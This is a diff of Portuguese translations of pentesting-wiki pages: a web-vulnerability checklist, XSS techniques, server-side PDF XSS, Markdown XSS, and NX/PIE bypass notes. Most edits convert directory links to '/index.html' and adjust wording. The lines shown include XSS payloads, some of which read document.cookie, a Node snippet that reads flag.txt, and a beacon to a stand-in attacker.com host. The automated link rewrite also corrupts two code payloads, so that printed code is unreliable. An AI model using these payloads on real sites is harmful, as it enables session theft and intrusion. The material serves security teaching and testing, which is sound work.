 - [ ] [**XSS do Lado do Servidor**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ Usuários que abrem arquivos enviados por outros usuários ou gerados automatica
 ### **Gerenciamento de Identidade Externa**
 
 - [ ] [**OAUTH para Tomada de Conta**](oauth-to-account-takeover.md)
-- [ ] [**Ataques SAML**](saml-attacks/)
+- [ ] [**Ataques SAML**](saml-attacks/index.html)
 
 ### **Outras Vulnerabilidades Úteis**
 
@@ -124,6 +124,6 @@ Essas vulnerabilidades podem ajudar a explorar outras vulnerabilidades.
 - [ ] [**Tomada de Domínio/Subdomínio**](domain-subdomain-takeover.md)
 - [ ] [**IDOR**](idor.md)
 - [ ] [**Poluição de Parâmetros**](parameter-pollution.md)
-- [ ] [**Vulnerabilidade de Normalização Unicode**](unicode-injection/)
+- [ ] [**Vulnerabilidade de Normalização Unicode**](unicode-injection/index.html)
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/web-vulnerabilities-methodology/README.md

@@ -11,7 +11,7 @@ Em cada Pentest Web, existem **vários lugares ocultos e óbvios que podem ser v
 
 - [ ] [**Abusando cabeçalhos hop-by-hop**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Envenenamento de Cache/Decepção de Cache**](../cache-deception.md)
-- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
+- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 - [ ] [**Inclusão do Lado do Servidor/Injeção do Lado da Edge**](../server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Descobrindo Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@@ -31,16 +31,16 @@ Se os dados introduzidos podem de alguma forma ser refletidos na resposta, a pá
 - [ ] [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md)
 - [ ] [**Injeção de Comando**](../command-injection.md)
 - [ ] [**CRLF**](../crlf-0d-0a.md)
-- [ ] [**Markup Pendente**](../dangling-markup-html-scriptless-injection/)
-- [ ] [**Inclusão de Arquivo/Traversal de Caminho**](../file-inclusion/)
+- [ ] [**Markup Pendente**](../dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**Inclusão de Arquivo/Traversal de Caminho**](../file-inclusion/index.html)
 - [ ] [**Redirecionamento Aberto**](../open-redirect.md)
 - [ ] [**Poluição de Protótipo para XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Inclusão do Lado do Servidor/Injeção do Lado da Edge**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Falsificação de Requisição do Lado do Servidor**](../ssrf-server-side-request-forgery/)
-- [ ] [**Injeção de Template do Lado do Servidor**](../ssti-server-side-template-injection/)
+- [ ] [**Falsificação de Requisição do Lado do Servidor**](../ssrf-server-side-request-forgery/index.html)
+- [ ] [**Injeção de Template do Lado do Servidor**](../ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 - [ ] [**Injeção de XSLT do Lado do Servidor**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](../xss-cross-site-scripting/)
+- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
 
@@ -54,28 +54,28 @@ Algumas das vulnerabilidades mencionadas requerem condições especiais, outras
 
 Se a funcionalidade pode ser usada para buscar algum tipo de dado no backend, talvez você possa (mal) utilizá-la para buscar dados arbitrários.
 
-- [ ] [**Inclusão de Arquivo/Traversal de Caminho**](../file-inclusion/)
+- [ ] [**Inclusão de Arquivo/Traversal de Caminho**](../file-inclusion/index.html)
 - [ ] [**Injeção NoSQL**](../nosql-injection.md)
 - [ ] [**Injeção LDAP**](../ldap-injection.md)
 - [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
-- [ ] [**Injeção SQL**](../sql-injection/)
+- [ ] [**Injeção SQL**](../sql-injection/index.html)
 - [ ] [**Injeção XPATH**](../xpath-injection.md)
 
 ### **Formulários, WebSockets e PostMsgs**
 
 Quando um websocket envia uma mensagem ou um formulário permitindo que os usuários realizem ações, vulnerabilidades podem surgir.
 
-- [ ] [**Falsificação de Requisição Cross Site**](../csrf-cross-site-request-forgery.md)
-- [ ] [**Sequestro de WebSocket Cross-site (CSWSH)**](../websocket-attacks.md)
-- [ ] [**Vulnerabilidades de PostMessage**](../postmessage-vulnerabilities/)
+- [ ] [**Falsificação de Requisição entre Sites**](../csrf-cross-site-request-forgery.md)
+- [ ] [**Sequestro de WebSocket entre Sites (CSWSH)**](../websocket-attacks.md)
+- [ ] [**Vulnerabilidades de PostMessage**](../postmessage-vulnerabilities/index.html)
 
 ### **Cabeçalhos HTTP**
 
 Dependendo dos cabeçalhos HTTP fornecidos pelo servidor web, algumas vulnerabilidades podem estar presentes.
 
 - [ ] [**Clickjacking**](../clickjacking.md)
-- [ ] [**Bypass de Política de Segurança de Conteúdo**](../content-security-policy-csp-bypass/)
-- [ ] [**Hacking de Cookies**](../hacking-with-cookies/)
+- [ ] [**Bypass de Política de Segurança de Conteúdo**](../content-security-policy-csp-bypass/index.html)
+- [ ] [**Hacking de Cookies**](../hacking-with-cookies/index.html)
 - [ ] [**CORS - Configurações Incorretas & Bypass**](../cors-bypass.md)
 
 ### **Bypasses**
@@ -85,7 +85,7 @@ Existem várias funcionalidades específicas onde algumas soluções alternativa
 - [ ] [**Bypass de 2FA/OTP**](../2fa-bypass.md)
 - [ ] [**Bypass do Processo de Pagamento**](../bypass-payment-process.md)
 - [ ] [**Bypass de Captcha**](../captcha-bypass.md)
-- [ ] [**Bypass de Login**](../login-bypass/)
+- [ ] [**Bypass de Login**](../login-bypass/index.html)
 - [ ] [**Condição de Corrida**](../race-condition.md)
 - [ ] [**Bypass de Limite de Taxa**](../rate-limit-bypass.md)
 - [ ] [**Bypass de Redefinição de Senha Esquecida**](../reset-password.md)
@@ -93,10 +93,10 @@ Existem várias funcionalidades específicas onde algumas soluções alternativa
 
 ### **Objetos Estruturados / Funcionalidades Específicas**
 
-Algumas funcionalidades exigirão que **os dados estejam estruturados em um formato muito específico** (como um objeto serializado de linguagem ou XML). Portanto, é mais fácil identificar se a aplicação pode ser vulnerável, pois precisa processar esse tipo de dado.\
+Algumas funcionalidades exigirão que os **dados estejam estruturados em um formato muito específico** (como um objeto serializado de linguagem ou XML). Portanto, é mais fácil identificar se a aplicação pode ser vulnerável, pois precisa processar esse tipo de dado.\
 Algumas **funcionalidades específicas** também podem ser vulneráveis se um **formato específico da entrada for usado** (como Injeções de Cabeçalho de Email).
 
-- [ ] [**Desserialização**](../deserialization/)
+- [ ] [**Desserialização**](../deserialization/index.html)
 - [ ] [**Injeção de Cabeçalho de Email**](../email-injections.md)
 - [ ] [**Vulnerabilidades de JWT**](../hacking-jwt-json-web-tokens.md)
 - [ ] [**Entidade Externa XML**](../xxe-xee-xml-external-entity.md)
@@ -107,7 +107,7 @@ Funcionalidades que permitem o upload de arquivos podem ser vulneráveis a vári
 Funcionalidades que geram arquivos incluindo entrada do usuário podem executar código inesperado.\
 Usuários que abrem arquivos enviados por outros usuários ou gerados automaticamente incluindo entrada do usuário podem ser comprometidos.
 
-- [ ] [**Upload de Arquivo**](../file-upload/)
+- [ ] [**Upload de Arquivo**](../file-upload/index.html)
 - [ ] [**Injeção de Fórmula**](../formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**Injeção de PDF**](../xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**XSS do Lado do Servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ Usuários que abrem arquivos enviados por outros usuários ou gerados automatica
 ### **Gerenciamento de Identidade Externa**
 
 - [ ] [**OAUTH para Tomada de Conta**](../oauth-to-account-takeover.md)
-- [ ] [**Ataques SAML**](../saml-attacks/)
+- [ ] [**Ataques SAML**](../saml-attacks/index.html)
 
 ### **Outras Vulnerabilidades Úteis**
 
@@ -124,6 +124,6 @@ Essas vulnerabilidades podem ajudar a explorar outras vulnerabilidades.
 - [ ] [**Tomada de Domínio/Subdomínio**](../domain-subdomain-takeover.md)
 - [ ] [**IDOR**](../idor.md)
 - [ ] [**Poluição de Parâmetros**](../parameter-pollution.md)
-- [ ] [**Vulnerabilidade de Normalização Unicode**](../unicode-injection/)
+- [ ] [**Vulnerabilidade de Normalização Unicode**](../unicode-injection/index.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -11,7 +11,7 @@
 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
 3. Você pode contornar proteções?
 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md).
-5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/)?
+5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Dentro de uma **tag HTML**:
 1. Você pode sair para o contexto HTML bruto?
 2. Você pode criar novos eventos/atributos para executar código JS?
@@ -56,7 +56,7 @@ Se sua entrada está refletida dentro do valor do atributo de uma tag, você pod
 
 1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
 2. Se você **pode escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que executa código JS: `" autofocus onfocus=alert(1) x="`
-3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazê-lo executar código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
+3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazê-lo executar código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
 4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="**
 
 Exemplo estranho de Angular executando XSS se você controla um nome de classe:
@@ -116,7 +116,7 @@ Você também pode tentar **disparar funções Javascript** diretamente: `obj.sa
 
 No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.
 
-Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, a exploração de **Same Origin Method Execution (SOME)** foi desenvolvida:
+Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, a exploração **Same Origin Method Execution (SOME)** foi desenvolvida:
 
 {{#ref}}
 some-same-origin-method-execution.md
@@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
 
 ## Injetando dentro do HTML bruto
 
-Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se está sendo **HTML codificado** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
-Para esses casos, também **lembre-se** de [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **HTML codificado** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
+Para esses casos, também **tenha em mente** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 &#xNAN;_**Nota: Um comentário HTML pode ser fechado usando\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*ou \*\*\*\*\*\***`--!>`\*\**_
 
-Neste caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
+Nesse caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
 ```html
 <script>
 alert(1)
@@ -166,7 +166,7 @@ Uma vez que você tenha **localizado quais tags são permitidas**, você precisa
 
 ### Força bruta de Tags/Eventos
 
-Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Uma vez que você tenha descoberto quais tags pode usar, você pode **forçar todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento de antes).
+Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Uma vez que você tenha descoberto quais tags pode usar, você pode **forçar todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento que antes).
 
 ### Tags personalizadas
 
@@ -243,14 +243,14 @@ Se para explorar a vulnerabilidade você precisar que o **usuário clique em um
 
 ### Impossible - Dangling Markup
 
-Se você apenas acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque você poderia **explorar** a vulnerabilidade **sem** executar **código JS**.
+Se você apenas pensa que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
 
 ## Injecting inside HTML tag
 
 ### Inside the tag/escaping from attribute value
 
 Se você está **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](#injecting-inside-raw-html) para executar código JS.\
-Se você **não conseguir escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
+Se você **não puder escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -377,7 +377,7 @@ Você pode usar **Hex** e **Octal encode** dentro do atributo `src` de `iframe`
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank"` e `rel="opener"`**, verifique a **página seguinte para explorar esse comportamento**:
+Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank"` e `rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
 
 {{#ref}}
 ../reverse-tab-nabbing.md
@@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor:
+De [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor:
 ```markup
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
@@ -766,7 +766,7 @@ Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS es
 
 ### Espelhamento de Sessão
 
-Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes peçam ajuda e, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
+Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
 
 Você poderia fazer o **administrador acionar seu self XSS** e roubar seus cookies/sessão.
 
@@ -825,14 +825,14 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS com injeção de cabeçalho em uma resposta 302
 
-Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas uma carga útil de cross-site scripting é inútil.
+Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas uma carga útil de cross-site scripting é inútil.
 
 Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\
 Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
 
 ### Apenas Letras, Números e Pontos
 
-Se você conseguir indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento.
+Se você conseguir indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento.
 
 ### Tipos de Conteúdo `<script>` Válidos para XSS
 
@@ -840,7 +840,7 @@ Se você conseguir indicar o **callback** que o JavaScript vai **executar** limi
 
 > Recusou-se a executar o script de ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME (‘application/octet-stream’) não é executável, e a verificação estrita de tipo MIME está habilitada.
 
-Os únicos **Content-Type**s que permitirão que o Chrome execute um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+Os únicos **Content-Type** que permitirão que o Chrome execute um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -918,7 +918,7 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y
 ```
 ### Web Content-Types to XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
+(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
 
 - text/html
 - application/xhtml+xml
@@ -963,7 +963,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
 
 // use of with
 with(console)log(123)
-with(/console.log(1)/)with(this)with(constructor)constructor(source)()
+with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
 // Just replace console.log(1) to the real code, the code we want to run is:
 //return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 
@@ -1520,7 +1520,7 @@ Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-inje
 ### XSS em PDF criado dinamicamente
 
 Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
-Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **Server XSS**.
+Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **XSS no Servidor**.
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
@@ -1534,7 +1534,7 @@ pdf-injection.md
 
 ### XSS em Amp4Email
 
-AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
 
 O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
 

src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

@@ -4,16 +4,16 @@
 
 ## Server Side XSS (Dynamic PDF)
 
-Se uma página da web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
-Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **Server XSS**.
+Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
+Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
 
-Por favor, note que as tags `<script></script>` nem sempre funcionam, então você precisará de um método diferente para executar JS (por exemplo, explorando `<img` ).\
+Por favor, note que as tags `<script></script>` não funcionam sempre, então você precisará de um método diferente para executar JS (por exemplo, abusando de `<img` ).\
 Além disso, note que em uma exploração regular você será **capaz de ver/baixar o pdf criado**, então você poderá ver tudo que você **escreve via JS** (usando `document.write()` por exemplo). Mas, se você **não puder ver** o PDF criado, provavelmente precisará **extrair a informação fazendo requisições web para você** (Cego).
 
 ### Geração de PDF popular
 
-- **wkhtmltopdf** é conhecido por sua capacidade de converter HTML e CSS em documentos PDF, utilizando o mecanismo de renderização WebKit. Esta ferramenta está disponível como um utilitário de linha de comando de código aberto, tornando-a acessível para uma ampla gama de aplicações.
-- **TCPDF** oferece uma solução robusta dentro do ecossistema PHP para geração de PDF. É capaz de lidar com imagens, gráficos e criptografia, demonstrando sua versatilidade para criar documentos complexos.
+- **wkhtmltopdf** é conhecido por sua capacidade de converter HTML e CSS em documentos PDF, utilizando o mecanismo de renderização WebKit. Esta ferramenta está disponível como uma utilidade de linha de comando de código aberto, tornando-a acessível para uma ampla gama de aplicações.
+- **TCPDF** oferece uma solução robusta dentro do ecossistema PHP para geração de PDF. É capaz de lidar com imagens, gráficos e criptografia, mostrando sua versatilidade para criar documentos complexos.
 - Para aqueles que trabalham em um ambiente Node.js, **PDFKit** apresenta uma opção viável. Ele permite a geração de documentos PDF diretamente de HTML e CSS, fornecendo uma ponte entre conteúdo web e formatos imprimíveis.
 - Desenvolvedores Java podem preferir **iText**, uma biblioteca que não apenas facilita a criação de PDF, mas também suporta recursos avançados como assinaturas digitais e preenchimento de formulários. Seu conjunto abrangente de recursos a torna adequada para gerar documentos seguros e interativos.
 - **FPDF** é outra biblioteca PHP, distinguida por sua simplicidade e facilidade de uso. É projetada para desenvolvedores que buscam uma abordagem direta para a geração de PDF, sem a necessidade de recursos extensivos.
@@ -145,13 +145,13 @@ checkPort(i);
 </script>
 <img src="https://attacker.com/startingScan">
 ```
-### [SSRF](../ssrf-server-side-request-forgery/)
+### [SSRF](../ssrf-server-side-request-forgery/index.html)
 
 Essa vulnerabilidade pode ser transformada muito facilmente em um SSRF (já que você pode fazer o script carregar recursos externos). Então, apenas tente explorá-la (ler alguns metadados?).
 
 ### Attachments: PD4ML
 
-Existem alguns motores de HTML 2 PDF que permitem **especificar anexos para o PDF**, como **PD4ML**. Você pode abusar dessa funcionalidade para **anexar qualquer arquivo local** ao PDF.\
+Existem alguns motores de HTML para PDF que permitem **especificar anexos para o PDF**, como **PD4ML**. Você pode abusar dessa funcionalidade para **anexar qualquer arquivo local** ao PDF.\
 Para abrir o anexo, eu abri o arquivo com **Firefox e cliquei duas vezes no símbolo do clipe de papel** para **armazenar o anexo** como um novo arquivo.\
 Capturar a **resposta PDF** com burp também deve **mostrar o anexo em texto claro** dentro do PDF.
 ```html

src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md

@@ -33,7 +33,7 @@ t:prompt(document.cookie))
 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
 [a](javascript:window.onerror=alert;throw%201)
 ```
-### Abuso da sintaxe de eventos de imagem
+### Abuso da sintaxe de evento Img
 ```markdown
 ![Uh oh...](<"onerror="alert('XSS')>)
 ![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
@@ -42,7 +42,7 @@ t:prompt(document.cookie))
 ```
 ### HTML Sanitiser Markdown Bypass
 
-O seguinte código está **sanitizando a entrada HTML** e, em seguida, **passando-a para o parser de markdown**, então, XSS pode ser acionado abusando de interpretações incorretas entre Markdown e DOMPurify&#x20;
+O seguinte código está **sanitizando a entrada HTML** e, em seguida, **passando-a para o parser de markdown**, então, o XSS pode ser acionado abusando de interpretações incorretas entre Markdown e DOMPurify&#x20;
 ```html
 <!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
 <script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@@ -61,7 +61,7 @@ Exemplo de payloads:
 <div
 id="1
 
-![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
+![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
 -----------------------------------------------
 <a
 title="a

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -4,12 +4,12 @@
 
 ## Informações Básicas
 
-O bit **No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **buffer overflow**. Quando implementado e habilitado, ele distingue entre regiões de memória que são destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia central é impedir que um atacante execute código malicioso através de vulnerabilidades de buffer overflow, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele.
+O bit **No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **buffer overflow**. Quando implementado e ativado, ele distingue entre regiões de memória que são destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia central é impedir que um atacante execute código malicioso através de vulnerabilidades de buffer overflow, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele.
 
 ## Bypasses
 
 - É possível usar técnicas como [**ROP**](../stack-overflow/rop-return-oriented-programing.md) para contornar essa proteção executando pedaços de código executável já presentes no binário.
-- [**Ret2libc**](../stack-overflow/ret2lib/)
+- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
 - [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
 - **Ret2...**
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md

@@ -13,7 +13,7 @@ Ou você pode usar isso para seu exploit, se você vazar que um endereço está
 
 ## Bypasses
 
-Para burlar o PIE é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso:
+Para burlar o PIE, é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso:
 
 - **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar.
